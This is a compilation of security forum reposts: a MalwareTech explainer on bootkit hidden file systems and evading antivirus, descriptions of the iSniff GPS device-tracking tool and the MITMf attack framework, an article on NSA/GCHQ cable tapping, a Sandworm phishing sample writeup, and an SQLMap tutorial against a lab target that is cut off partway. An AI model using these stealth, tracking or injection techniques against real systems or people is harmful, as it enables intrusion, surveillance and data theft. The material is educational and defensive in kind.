Because the space at the start of the disk can be pretty small and isn't guaranteed on GPT systems, the space at the end may be a better bet. When allocating a partition, the Windows partition manager will end the partition before the end of the disk to leave space for dynamic disk information. As it happens, dynamic disks are incredibly rare on most computers because they're only used for software RAID and other black magic, which leave between 1 mb and 100 mb of space at the end of the disk. [h=2]Virtual File System[/h] The location of the Virtual File System depends on the space needed and the system specifications, here's a quick overview of the reserved space. Start Of Disk On XP systems using the MBR partition format you are guaranteed 62 sectors (31.7 KB) of space between the MBR and the first partition. On Vista+ systems using the MBR partition format you are guaranteed 2047 sectors (1 MB) of space between the MBR and the first partition. Because the GUID Partition Table (GPT) is of variable size and not restricted to 1 sector like the MBR, it is uncertain how much space will be available on systems using the GPT. Other than by the GPT, this space is never used by windows. End Of Disk Between 1 MB and 100 MB, there doesn't appear to be any OS specifications for the exact size so the variation is likely to do with disk geometry (Ex: 1 disk track is reserved). Some of the space can be used for dynamic disk information (most system do not use dynamic disks unless using software RAID). Contrary to popular belief, a VFS can be created and accessed by a user mode application, as long as it is running as administrator. To prevent malware from bypassing kernel code signing, raw disk access was "disabled" in vista and onward; however, there is an exception for boot sectors and sectors residing outside of the filesystem (both reserved areas reside outside the filesystem), enabling user mode access to the VFS. Although, direct user mode access is possible, most malware tends to manage the VFS from a kernel driver and expose an API to user mode components for reading/writing via the driver; This allows the VFS to be hidden from normal applications and other drivers. It's quite common for a VFS driver to send requests directly to the lowest level disk driver (the disk miniport), as a result the disk read/write requests cannot be intercepted by the antivirus or any standard disk monitors, providing better stealth. Although you could write standard files using this method, ntfs.sys handles the NTFS specification, so you'd have to create your own ntfs driver which would be a lot of work especially as NTFS is not fully documented by Microsoft. The actual format of the VFS is entirely dependent on the developer, some have chosen to use FAT32 with RC4 encryption, whilst others use custom file systems with modified encryption algorithms. Almost always the VFS is encrypted in an attempt to make the data look like random leftover bytes and not executables or log files. Bootkits most commonly use a VFS because it reduces the attack surface to a single point of attack: The infected bootloader reads the rootkit driver from the VFS and loads it into the kernel long before the antivirus, leaving the kernel driver time to install hooks and cover its tracks before the OS even initializes. A bootkit using a VFS driver has only one weakness: The infected boot record; this can be easily resolved by using the bootkit's driver to hook the disk miniport and spoof read/write requests to the boot sector, tricking the AV into thinking the boot sector contains the original Windows boot code, the same method can also be used to just display empty sectors if something other than the rootkit tries to read the VFS. Sursa: Virtual File Systems for Beginners | MalwareTech

iSniff GPS iSniff GPS passively sniffs for SSID probes, ARPs and MDNS (Bonjour) packets broadcast by nearby iPhones, iPads and other wireless devices. The aim is to collect data which can be used to identify each device and determine previous geographical locations, based solely on information each device discloses about previously joined WiFi networks. iOS devices transmit ARPs which sometimes contain MAC addresses (BSSIDs) of previously joined WiFi networks. iSniff GPS captures these ARPs and submits MAC addresses to Apple’s WiFi location service (masquerading as an iOS device) to obtain GPS coordinates for a given BSSID. If only SSID probes have been captured for a particular device, iSniff GPS can query network names on wigle.net and visualise possible locations. By geo-locating multiple SSIDs and WiFi router MAC addresses, it is possibleto determine where a device (and by implication its owner) is likely to have been. Components iSniff GPS contains 2 major components and further python modules: iSniff_import.py uses Scapy to extract data from a live capture or pcap file and inserts it into a database (iSniff_GPS.sqlite3 by default). A Django web application provides a browser-based interface to view and analyse the data collected. This includes views of all detected devices and the SSIDs / BSSIDs each has probed for, a view by network, Google Maps views for visualising possible locations of a given BSSID or SSID, and a pie chart view showing a breakdown of the most popular device manufacturers based on client MAC address Ethernet OUIs. wloc.py provides a QueryBSSID() function which looks up a given BSSID (AP MAC address) on Apple’s WiFi location service. It will return the coordinates of the MAC queried for and usually an additional 400 nearby BSSIDs and their coordinates. wigle.py provides a getLocation() function for querying a given SSID on the wigle.net database and returns GPS coordinates. It must be configured with a valid wigle.net auth cookie. Please respect the wigle.net ToS in using this module. Instructions To use the web interface: Install or update required Python modules by running pip install -U -r requirements.txt. Initialise an empty database by running ./manage.py syncdb. Start the web interface by running ./manage.py runserver 127.0.0.1:8000. To sniff wifi traffic: Install Scapy Import data from a wifi pcap capture by running ./run.sh -r <chan11.pcap> For live capture, bring up a wifi interface in monitor mode (usually mon0) so that airodump-ng shows traffic. Start live sniffing with ./run.sh -i mon0. Dependencies iSniff GPS was developed on a Ubuntu 12.04 (32-bit) VM with Python 2.7.3, Django 1.5.4 and Scapy 2.2.0-dev. The web interface code has been updated and tested with Django 1.7.1 running on Mac OS X Yosemite with Python 2.7.8. Network sniffing has not been tested on Mac OS X. Source && Download Sursa: iSniff GPS - Passiv SSID sniffer

[h=1]MITMf V0.8[/h] Framework for Man-In-The-Middle attacks Quick tutorials, examples and dev updates at Trying to take the dum-dum out of security... This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. Availible plugins: Spoof - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing and modify DNS queries BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type AppCachePoison - Perform app cache poison attacks AirPwn - Monitor traffic on an 802.11 network and respond with arbitrary content as configured SessionHijacking - Performs session hijacking attacks, and stores cookies in a firefox profile BrowserProfiler - Attempts to enumerate all browser plugins of connected clients CacheKill - Kills page caching by modifying headers FilePwn - Backdoor executables being sent over http using bdfactory Inject - Inject arbitrary content into HTML content JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins jskeylogger - Injects a javascript keylogger into clients webpages Replace - Replace arbitary content in HTML content SMBAuth - Evoke SMB challenge-response auth attempts Upsidedownternet - Flips images 180 degrees So far the most significant changes have been: Integrated SSLstrip+ (https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 Addition of the AirPwn plugin (Python port of the original project), which also supports the DNSpwn attack Addition of the SessionHijacking plugin, which uses code from FireLamb (https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile Spoof plugin now supports ICMP, ARP and DHCP spoofing along with DNS tampering (DNS tampering code was stolen from https://github.com/DanMcInerney/dnsspoof/) Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing! Usage of third party tools has been completely removed (e.g. ettercap) FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy Added msfrpc.py for interfacing with Metasploits rpc server Added beefapi.py for interfacing with BeEF's RESTfulAPI Addition of the app-cache poisoning attack by Krzysztof Kotowicz [h=3]How to install on Kali[/h] Run setup.sh as root to install all submodules and python libraries. Sursa: https://github.com/byt3bl33d3r/MITMf

[h=3]INCENSER, or how NSA and GCHQ are tapping internet cables[/h]Recently disclosed documents show that the NSA's fourth-largest cable tapping program, codenamed INCENSER, pulls its data from just one single source: a submarine fiber optic cable linking Asia with Europe. Until now, it was only known that INCENSER was a sub-program of WINDSTOP and that it collected some 14 billion pieces of internet data a month. The latest revelations now say that these data are collected with the help of the British company Cable & Wireless (codenamed GERONTIC, now part of Vodafone) at a location in Cornwall in the UK, codenamed NIGELLA. For the first time, this gives us a view on the whole interception chain, from the parent program all the way down to the physical interception facility. Here we will piece together what is known about these different stages and programs from recent and earlier publications. - NIGELLA - GERONTIC - INCENSER - WINDSTOP - The cables tapped at NIGELLA by GERONTIC under the INCENSER and WINDSTOP programs (Map: ARD.de - Text: Electrospaces.net - Click to enlarge) NIGELLA Last week's joint reporting by the British broadcaster Channel 4, the German regional broadcasters WDR and NDR and the German newspaper Süddeutsche Zeitung, identified NIGELLA as an interception facility at the intersection of Cable & Wireless and Reliance cables at Skewjack Farm. There, just north-west of Polgigga Cottage in Cornwall, is a large building that was constructed in 2001 for FLAG Telecom UK Ltd for 5.3 million pounds. It serves as a terminus for the two ends of a submarine optical cable: one from across the Atlantic which lands at the beach of nearby Sennen, and one that crosses the Channel to Brittany in France: - FLAG Atlantic 1 (FA1) Connecting the east coast of North America to the United Kingdom and France (6.000 kilometers) The FLAG Atlantic 1 cable to America consists of 6 fibre pairs, each capable of carrying 40 (eventually up to 52) separate light wavelengths, and each wavelength can carry 10 Gigabit/s of traffic. This gives a potential capacity of 2.4 terabit/s per cable. However, in 2009, only 640 gigabit/s were actually used, which went apparently up to 921 gigabit/s in 2011. The FLAG terminus station in Skewjack Farm, Cornwall (photo: Sheila Russell - Click to enlarge) The cable was initially owned by FLAG Telecom, where FLAG stands for Fiber-optic Link Around the Globe. This company was renamed into Reliance Globalcom when it became a fully owned subsidiary of the Indian company Reliance Communications (RCOM). In March 2014, Reliance Globalcom was again renamed, now into Global Cloud Xchange (GCX). More important is another, much longer submarine cable, which was also owned by this company, and which has its landing point on the shore of Porthcurno, a few miles south-west of Skewjack Farm: - FLAG Europe-Asia (FEA) Connecting the United Kingdom to Japan through the Mediterranean, with landing points in Egypt, the Saudi Peninsula, India, Malaysia, Thailand, Hong Kong, China, Taiwan, South Korea and Japan (28.000 kilometers) This cable has 2 fibre pairs, each capable of carrying up to 40 separate light wavelengths, and each wavelength can again carry 10 gigabit/s of traffic. This gives a potential capacity of 800 gigabit/s, but in 2009 only 70 gigabit/s were used, which went up to 130 gigabit/s in 2011, which is still an unimaginable 130.000.000.000 bits per second. The FLAG Atlantic 1 and FLAG Europe-Asia landing points and the Skewjack Farm terminus station (Map: Channel 4 - Click to enlarge) The backhaul connection between the FLAG Atlantic 1 (FA1) and the FLAG Europe-Asia (FEA) is provided by a local area network of Cable & Wireless, which also connects both submarine cables to its terrestrial internet backbone network. According to the newly disclosed GHCQ Cable Master List from 2009, the interception of the FA1 and the FEA cables takes place at the intersection with this backhaul connection: This list also shows that the interception of these two cables is accompanied by a Computer Network Exploitation (CNE) or hacking operation codenamed PFENNING ALPHA. Because the owner of the cables (Reliance Globalcom, now Global Cloud Xchange) is not a cooperating partner of GCHQ, they hacked into their network for getting additional "router monitoring webpages" and "performance statistics for GTE [Global Telecoms Exploitation]". Interception equipment How the actual interception takes place, can be learned from an article in The Guardian from June 2013, which provides some details about the highly sophisticated computer equipment at cable tapping points. First, the data stream is filtered through what is known as MVR (Massive Volume Reduction), which immediately rejects high-volume, low-value traffic, such as peer-to-peer downloads. This reduces the volume by about 30%. Selectors The next step is to pull out packets of information that contain selectors like phone numbers and e-mail, IP and MAC addresses of interest. In 2011, some 40,000 of these were chosen by GCHQ and 31,000 by the NSA, according to The Guardian. This filtering is most likely done by devices from Boeing-subsidiary Narus, which can analyse high-volume internet traffic in real-time. A single NarusInsight machine can monitor traffic up to 10 Gigabit/second, which means there have to be up to a dozen of them to filter the relevant traffic from the FA1 and FEA submarine cables. Most of the information extracted in this way is internet content, such as the substance of e-mail messages. Full sessions Besides the filtering by using specific selectors, the data are also sessionized, which means all types of IP traffic, like VoIP, e-mail, web mail and instant messages are reconstructed. This is something the Narus devices are also capable of. These "full take" sessions are stored as a rolling buffer on XKEYSCORE servers: content data for only three to five days, and metadata for up to 30 days. But "at some sites, the amount of data we receive per day (20+ terabytes) can only be stored for as little as 24 hours" according to an NSA document from 2008. The aim is to extract the best 7,5% of the traffic that flows past the access, which is then "backhauled" from the tapping point to GCHQ Bude through two 10 gigabit/s channels (the "egress" capacity). This might be a dedicated cable, or a secure VPN path over the regular Cable & Wireless backbone that connects Bude with the south-west of Cornwall: The Cable & Wireless internet backbone (yellow) in Cornwall and the connections to submarine fiber-optic cables (red) (Click for the full map) GERONTIC (Cable & Wireless) The secret GCHQ documents about these cable tapping operations only refer to the cooperating telecommuncations provider with the cover name GERONTIC. The real name of the company is protected under the level of STRAP 2 restrictions. But nonetheless, German media already revealed that GERONTIC is Cable & Wireless last year. In july 2012, Cable & Wireless Worldwide was taken over by Vodafone for 1.04 billion pounds, but according to the GCHQ documents, the covername GERONTIC was continued, and was seen active until at least April 2013. According to the press reports, GCHQ had access to 63 undersea internet cables, 29 of which with the help of GERONTIC. This accounted for about 70% of the total amount of internet data that GCHQ had access to in 2009. Cable & Wireless was involved in these 29 cables, either because it had Direct Cable Ownership (DCO), an Indefeasible Right of Use (IRU) or Leased Capacity (LC). Besides that, the GCHQ Cable Master List from 2009 lists GERONTIC also as a landing partner for the following nine cables: - FLAG Atlantic 1 (FA1) - FLAG Europe-Asia (FEA) - Apollo North - Apollo South - Solas - UK-Netherlands 14 - UK-France 3 - EIG - GLO-1 Disclosed excerpts from internal GCHQ wiki pages show that Cable & Wireless held regular meetings with GCHQ from 2008 until at least 2010, in order to improve the access possibilites, like selecting which cables and wavelenghts would provide the best opportunities for catching the communications GCHQ wanted. GCHQ also paid Cable & Wireless tens of millions of pounds for the expenses. For example, in February 2009 6 million pound was paid and a 2010 budget references a 20.3 million pound payment to the company. By comparison, NSA paid all its cooperating telecommunications companies a total of 278 million dollars in 2013. The intensive cooperation between Cable & Wireless and GCHQ may not come as a surprise for those knowing a bit more of British intelligence history. The company already worked with predecessors of GHCQ during World War I: all international telegrams were handed over so they could be copied before being sent on their way, a practice that continued for over 50 years.* INCENSER (DS-300) Among the documents about the GCHQ cable tapping is also a small part of an internal glossary. It contains an entry about INCENSER, which says that this is a special source collection system at Bude. This is further specified as the GERONTIC delivery from the NIGELLA access, which can be viewed in XKEYSCORE (XKS): This entry was also shown in the German television magazine Monitor, although not fully, but without the redactions, so from this source we know the few extra words that were blacked out for some reason. The entry also says that INCENSER traffic is labeled TICKETWINDOW with the SIGINT Activity Designator (Sigad) DS-300. From another source we know that TICKETWINDOW is a system that makes cable tapping collection available to 2nd Party partners. The exact meaning of Sigads starting with DS isn't clear, but probably also denotes 2nd Party collection. TEMPORA In Bude, GCHQ has its Regional Processing Center (RPC), which in 2012 had a so-called "Deep Dive" processing capability for 23 channels of 10 gigabit/second each under the TEMPORA program. TEMPORA comprises different components, like the actual access points to fiber-optic cables, a Massive Volume Reduction (MVR) capability, a sanitisation program codenamed POKERFACE, and the XKEYSCORE system. As we have seen, most of the hardware components are located at the interception point, in this case the facility in Skewjack (NIGELLA). Analysing These collection systems can be remotely instructed ("tasked") from Bude, or maybe even also from NSA headquarters. For one part that involves entering the "strong selectors" like phone numbers and internet addresses. For another part, that is by using the additional capabilities of XKEYSCORE. Because the latter system buffers full take sessions, analysts can also perform queries using "soft selectors", like keywords, against the body texts of e-mail and chat messages, digital documents and spreadsheets in English, Arabic and Chinese. XKEYSCORE also allows analysts to look for the usage of encryption, the use of a VPN or the TOR network, and a number of other things that could lead to a target. This is particularly useful to trace target's internet activities that are performed anonymous, and therefore cannot be found by just looking for the known e-mail addresses of a target. When such content has been found, the analyst might be able to find new intelligence or new strong selectors, which can then be used for starting a traditional search. Possible targets The disclosed GCHQ documents contain no specific targets or goals for the INCENSER program, which provided Channel 4 the opportunity to claim that this Cable & Wireless/Vodafone access allows "Britain's spies to gather the private communications of millions of internet users worldwide". Vodafone, which also has a large share of the telecommuncations market in Germany, was even linked to the eavesdropping on chancellor Merkel. Both claims are rather sensationalistic. Merkel's phone was probably tapped by other means, and both GCHQ and NSA aren't interested in the private communications of ordinary internet users. On the contrary, by tapping into a submarine cable that connects to Asia and the Middle East, INCENSER looks rather focussed at high-priority targets in the latter region. > See also: NSA's Strategic Mission List Reporting Despite INCENSER being NSA's fourth-largest cable tapping program regarding to the volume which is collected, the intelligence reports analysts are able to write based upon this only made it to the 11th position of contributors to the President's Daily Brief - according to a slide from a 2010 presentation about Special Source Collection, published by The Washington Post in October last year: WINDSTOP (2nd Party) Data collected under the INCENSER program are not only used by GHCQ, but also by NSA, which groups such 2nd Party sources under the codename WINDSTOP. As such, INCENSER was first mentioned in a slide that was published by the Washington Post on October 31, 2013 for a story about the MUSCULAR program: It shows that both MUSCULAR and INCENSER are part of WINDSTOP, which is an umbrella program that, according to The Washington Post, contains at least four collection systems which are jointly operated by NSA and one or more signals intelligence agencies of the 2nd Party countries (Britain, Canada, Australia and New Zealand). MUSCULAR is a program under which cables linking big data centers of Google and Yahoo are tapped. The intercept facility is also located somewhere in the United Kingdom and the data are processed by GCHQ and NSA in a Joint Processing Centre (JPC) using the Stage 2 version of XKEYSCORE. A new slide from this presentation about WINDSTOP was published by Süddeutsche Zeitung on November 25, which reveals that a third program is codenamed TRANSIENT THURIBLE. About this program The Guardian reported once in June 2013, saying that it is an XKeyscore Deep Dive capability managed by GHCQ, with metadata flowing into NSA repositories since August 2012. In November 2013, the Washington Post published a screenshot from BOUNDLESSINFORMANT with numbers about data collection under the WINDSTOP program. Between December 10, 2012 and January 8, 2013, more than 14 billion metadata records were collected: The bar chart in the top part shows the numbers by date, with DNR (telephony) in green and DNI (internet) in blue. The section in the center of the lower part shows these data were collected by the following programs: - DS-300 (INCENSER): 14100 million records - DS-200B (MUSCULAR): 181 million records XKEYSCORE, which is used to index and search the data collected under the INCENSER program, can be seen in the bottom right section of the chart. With just over 14 billion pieces of internet data a month, INCENSER is the NSA's fourth-largest cable tapping program, accounting for 9% of the total amount collected by Special Source Operations (SSO), the division responsible for collecting data from internet cables. According to another BOUNDLESSINFORMANT chart, the NSA's Top 5 of cable tapping programs is: [TABLE] [TR] [TD] SSO worldwide total: DANCINGSOASIS: SPINNERET (part of RAMPART-A): MOONLIGHTPATH (part of RAMPART-A): INCENSER (part of WINDSTOP): AZUREPHOENIX (part of RAMPART-A): ... Other programs: [/TD] [TD=width: 15] [/TD] [TD] 160.168.000.000 (100%) 57.788.148.908 (36%) 23.003.996.216 (14%) 15.237.950.124 (9%) 14.100.359.119 (9%) 13.255.960.192 (8%) ... (24%) [/TD] [/TR] [/TABLE] It's remarkable that just one single cable access (NIGELLA in Cornwall) provides almost one tenth of everything NSA collects from internet cables. This also means that besides a large number of small cables accesses, NSA can only have access to just a few more cables with a similar high capacity as FA1 and FEA. > See also: NSA's largest cable tapping program: DANCINGOASIS Links and Sources - The recently disclosed documents about GCHS cable tapping: - NetzPolitik.org: Cable Master List: Wir spiegeln die Snowden-Dokumente über angezapfte Glasfasern, auch von Vodafone - Sueddeutsche.de: Snowden-Leaks: How Vodafone-Subsidiary Cable & Wireless Aided GCHQ’s Spying Efforts - ArsTechnica.com: New Snowden docs: GCHQ’s ties to telco gave spies global surveillance reach - Sueddeutsche.de: Vodafone-Firma soll GCHQ und NSA beim Spähen geholfen haben - WDR.de: Neue Snowden-Dokumente enthüllen Ausmaß der Zusammenarbeit von Geheimdiensten und Telekommunikationsunternehmen - TheRegister.co.uk: REVEALED: GCHQ's BEYOND TOP SECRET Middle Eastern INTERNET SPY BASE - Weblog about Uk Submarine Cable Landings & Cable Stations - Article about Explaining submarine system terminology – Part 1 Thanks also to Henrik Moltke Geplaatst door P/K op 23:37 Sursa: Top Level Telecommunications: INCENSER, or how NSA and GCHQ are tapping internet cables

2014-11-26 - SANDWORM SAMPLE ASSOCIATED FILES: ZIP file - Associated malware: 2014-11-26-sandworm-malware.zip TXT file - Example of the phishing email with headers (sanitized): 2014-11-26-sandworm-email-with-headers.txt NOTES: This is an example of the infamous Sandworm exploit, which uses a Powerpoint file to exploit the CVE-2014-4114 vulnerability. The .ppsx file was executed in a sandbox environment, different VMs, and a physical host, but each time the dropped malware generated an error. Tried this only on Windows 7 hosts--maybe I would've had better luck with Windows XP. Noticed the email shortly before Thanksgiving, and I'm thankful to have a Sandworm sample to share. EXAMPLE OF THE EMAILS SCREENSHOT: MESSAGE TEXT: Subject: Re: Purchase Invoice Date: Wed, 26 Nov 2014 08:16:43 UTC From: Al Muntaser Trading Co <manup.talal@almuntaser.com> To: Recipients <manup.talal@almuntaser.com> Dear Sir, Sequel to our previous conversation, kindly provide us the invoice of the attached purchase order so we can confirm and make payment.Many thanks Regards, Manup T.N. Golden Crown Trading & General Contracting Co. P.O. Box 26000, Safat 13120, Kuwait Attachment: Invoice.ppsx (142 KB) PRELIMINARY MALWARE ANALYSIS MALWARE ATTACHEMENT: File name: Invoice.ppsx File size: 142.2 KB ( 145639 bytes ) MD5 hash: 5176d1383a7114039e71bbfccd578f92 Detection ratio: 15 / 56 First submission: 2014-11-26 08:02:49 UTC VirusTotal link: https://www.virustotal.com/en/file/d91daaeb385efbc23893390c721ed7fb2bde8c507e34129fb95a8caeda71d272/analysis/ DROPPED FILE AFTER RUNNING THE MALWARE: File name: putty.exe File size: 182.9 KB ( 187287 bytes ) MD5 hash: 46c4bd9b2318552fe0812d41e3122170 Detection ratio: 19 / 56 First submission: 2014-11-30 01:10:10 UTC VirusTotal link: https://www.virustotal.com/en/file/17398b9cdd40136b32bc8fa811af21101589adb889246afbfcecc05464ced068/analysis/ SCREENSHOTS When you run the Powerpoint file, it quickly asks for permission to run the dropped malware: Shortly after that, the dropped malware stops working: FINAL NOTES Once again, here are the associated files: ZIP file - Associated malware: 2014-11-26-sandworm-malware.zip TXT file - Example of the phishing email with headers (sanitized): 2014-11-26-sandworm-email-with-headers.txt The ZIP file is password-protected with the standard password. If you don't know it, email me at admin@malware-traffic-analysis.net and ask. Click here to return to the main page. Sursa: Malware-Traffic-Analysis.net - 2014-11-26 - Sandworm sample

[h=1]From SQL Injection To 0wnage Using SQLMap[/h] SQL injection – one of the most critical vulnerabilities till now – is still included in the OWASP Top 10 list’s Injection flaws section. SQLMap is a tool that helps penetration testers prove that SQL injection is one the most critical vulnerabilities present in enterprise security. ‘SQLMap’is a simple python based tool to exploit SQL injection vulnerabilities to the level where it raises eyebrows becausethis tool can be used: To scan web application for SQL injection vulnerability To exploit SQL injection vulnerability To extract the database and database user details completely To bypass a Web Application Firewall (WAF) using tamper scripts To own the underlying operating system i.e. gain the operating system access and run OS level commands. [h=4]Pre-requisites and Installation[/h] For using this tool all you need to know is basics of SQL Injection, how and why it occurs Once your SQL Injection detection is done, you need a direction as to what you want to perform while exploiting the target. For example, extracting the database, extracting the DB users or to execute the operating system shell. SQLMap comes for both Linux and Windows operating systems. Since, this tool is developed in Python language you need to have a Python interpreter installed on your machine. Steps for installation: For Linux, download the ‘tar ball’ file from sqlmap: automatic SQL injection and database takeover tool and perform standard utility installation For Windows, download the ‘.zip’ file from sqlmap: automatic SQL injection and database takeover tooland extract it to the desired location (make sure you have the latest version of Python installed) In short, if you have Python running on your Operating System, you can use SQLMap. [h=4]SQL Injection[/h] SQL Injection OWASP Overview: An SQL injection attack consists of insertion or “injection” of an SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. [h=4]Why SQL Injection occurs?[/h] SQL Injection occurs due to the following reasons: Lack of Input Sanitization: The main reason for SQL injection to occur is the blind trust on the user input and acceptance of such inputs by the web application. It is necessary to have validation at both client and server side. Allowing Maximum Exploitation: While assigning roles to the internally created user to access the database, if the privileges given to that user are not limited then we are actually allowing maximum exploitation. For example, if an application accesses a particular database and a single table in that database, the user used to access that table has rights to access multiple databases. In such a scenario, if SQL injection occurs then using a user with such privileges could create maximum impact including data extraction of all the databases. Architecture Issues: Lack of control measures, lack of strict architecture designs, use of outdated techniques and technologies while development are few issues related to application development architecture. Ultimately, these reasons turn out to be reasons for SQL injection. Using techniques such as “threat modeling” where controls against web application attacks are implemented in the design phase itself are can be used to reduce architecture issues. Inherited and Commonly Used Codes: In many organizations, development teams or resources keep on shuffling without proper handover to the new team. The application code base is carried forward with every new enhancement in the application. Such inherited codes which are developed by the previous developers become a burden to simplify, to correct and to adapt to. Because of these legacy codes, the previous injection flaws in the application are also carried forward. A similar problem exists with publicly available code. Such code which is present everywhere on internet are used to avoid extra efforts in development, and if these are vulnerable to SQL injection, they make the entire application vulnerable. Non-implementation of Controls: During application development, secure coding guidelines are not properly followed due to delivery challenges and timelines. Strong controls such as Stored Procedures and Parameterized queries which by themselves are strong techniques to mitigate the risk of SQL injection are not implemented leading to SQL injection risks. Both “stored procedures” and “parameterized queries” (also known as prepared statements), help the developers to separate application code and database which creates an additional layer of security. However, it is also necessary to modularize the application and code should be well abstracted from the data. [h=4]SQLMap Overview[/h] It is an open source tool which is used for automating the task of detection and exploitation of SQL injection flaw in the web application. SQLMap supports exploitation of wide range of the DBMS, the list includes following names: [TABLE] [TR] [TD=width: 189]MySQL[/TD] [TD=width: 198]IBM DB2[/TD] [TD=width: 217]Oracle[/TD] [/TR] [TR] [TD=width: 189]Postgresql[/TD] [TD=width: 198]SQLite[/TD] [TD=width: 217]Firebird[/TD] [/TR] [TR] [TD=width: 189]Microsoft SQL Server[/TD] [TD=width: 198]Microsoft Access[/TD] [TD=width: 217]Sybase[/TD] [/TR] [TR] [TD=width: 189]SAP MaxDB[/TD] [TD=width: 198][/TD] [TD=width: 217][/TD] [/TR] [/TABLE] SQL Injection types used by SQLMap: – Boolean Based Blind SQL Injection For SQLMap, a Boolean based blind is a technique where in there is a lot of involvement of HTTP request and response reading character by character, comparison and detecting the right output. Once a vulnerable parameter is detected, SQLMap replaces or appends syntactically valid SQL statements for which we can expect some output. Say, there is an original un-tampered request with a vulnerable parameter, it has certain response and in next stage there is a request-response from an injected statement, then SQLMap performs comparison between these two responses. The tool uses bisection algorithm to fetch each character of the response with a maximum of seven HTTP requests and comparing their responses. Where the output is not within the clear-text plain charset, sqlmap will adapt the algorithm with bigger ranges to detect the output. Time Based Blind SQL Injection “Time based” itself suggests that there is some comparison on the basis of time the request and response by injecting syntactically valid SQL statement to the vulnerable parameter. SQLMap uses SQL statements which put the back-end database on hold to return for a certain number of seconds. Using the same technique i.e. bisection algorithm to inference the output character by character, SQLMap compares various HTTP responses time with the original request. [*]Error-Based SQL Injection The tool uses SQL statements which would provoke the target database to generate database-specific error. HTTP response to such request is then parsed by sqlmap in search of DBMS error messages containing the injected pre-defined chain of characters and the subquery statement output within. This technique works only when the web application has been configured to disclose back-end database management system error messages. [*]UNION Query A syntactically valid SQL Statement starting with an UNION ALL SELECT is injected to the vulnerable parameter. UNION query based SQL injection works on the basis of the application behavior i.e. when the application passes the output of written SELECT query through certain loop or line of statements which allow the output to be printed on the page content. In case the output is not cycled through any “for loop” or other line of statements, SQLMap uses single entry UNION query SQL injection. [*]Stacked Queries Stacked queries exploitation occurs when an application is supporting stacked queries. SQLMap adds a semi-colon ( to the vulnerable parameter value and appends SQL statement which is to be executed. Using this technique it is possible to run SQL statements other thank SELECT. This is useful for data manipulation, to get system read-write access and finally own the operating system. [*]Out-of-band This technique uses a secondary or different communication channel to dump the output of the queries fired on the vulnerable application. For example, the injection is made to a web application and a secondary channel such as DNS queries is used to dump the data back to the attacker domain. Basic Commands: - Command - C:\sqlmap>python sqlmap.py Output – sqlmap/1.0-dev – automatic SQL injection and database takeover tool sqlmap: automatic SQL injection and database takeover tool [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 17:47:59 Usage: sqlmap.py [options] Command - C:\sqlmap>python sqlmap.py --help Output – This gives you a page full of options and parameters; we will stick to the basic options which are required for general usage. Options: [TABLE] [TR] [TD]-h, –help[/TD] [TD]Show basic help message and exit[/TD] [/TR] [TR] [TD]-hh[/TD] [TD]Show advanced help message and exit[/TD] [/TR] [TR] [TD]-v VERBOSE[/TD] [TD]Verbosity level: 0-6 (default 1)[/TD] [/TR] [/TABLE] Target:At least one of these options has to be specified to set the source to get target urls from [TABLE] [TR] [TD]-d DIRECT[/TD] [TD]Direct connection to the database[/TD] [/TR] [TR] [TD]-u URL, –url=URL[/TD] [TD]Target url[/TD] [/TR] [TR] [TD]-l LOGFILE[/TD] [TD]Parse targets from Burp or WebScarab proxy logs[/TD] [/TR] [TR] [TD]-m BULKFILE[/TD] [TD]Scan multiple targets enlisted in a given textual file[/TD] [/TR] [TR] [TD]-r REQUESTFILE[/TD] [TD]Load HTTP request from a file[/TD] [/TR] [TR] [TD]-g GOOGLEDORK[/TD] [TD]Process Google dork results as target urls[/TD] [/TR] [TR] [TD]-c CONFIGFILE[/TD] [TD]Load options from a configuration INI file[/TD] [/TR] [/TABLE] Other Key Options to use: [TABLE] [TR] [TD]–cookie[/TD] [TD]Set authentication cookie used for maintaining access[/TD] [/TR] [TR] [TD]–dbs[/TD] [TD]Enumerate databases[/TD] [/TR] [TR] [TD]-technique[/TD] [TD]Specify which SQL injection technique is to be used[/TD] [/TR] [TR] [TD]–dbms[/TD] [TD]Specify DBMS name if you already know it (your time is precious, save it)[/TD] [/TR] [TR] [TD]-p TESTPARAMETER[/TD] [TD]Specify if you already know testable parameter(s)[/TD] [/TR] [/TABLE] The options to use with SQLMap are totally dependent on what the attacker has in mind to perform on the database. Basic flow of SQLMap is as follows: enumerate database information such as name, version, other details, select a particular database to enumerate tables, select tables and enumerate columns, select columns and enumerate rows to extract data, further exploitation if required. [h=4]Case Study:[/h] Consider we have a setup of a vulnerable application called “Damn Vulnerable Web App (DVWA)” which is a PHP/MySQL web application. This application setup is free to use and designed for practicing Penetration testing skills and developer education. Application IP: 192.168.152.129 (Private network) URL: http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# Vulnerable Parameter: “id” Confirming SQL injection: Let’s check whether our setup is vulnerable to SQL injection or not. Command: (Windows) python sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" (Linux) ./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" Command Explained: –url: The vulnerable application’s URL –cookie: Session cookie to maintain access while attacking Output: Figure 1: SQLMap confirming SQL injection and enumerating application details The application is vulnerable to SQL injection Type of SQL injection – UNION query Back-end DBMS – MySQL 5 Technology Details – Linux Ubuntu 8.04, PHP 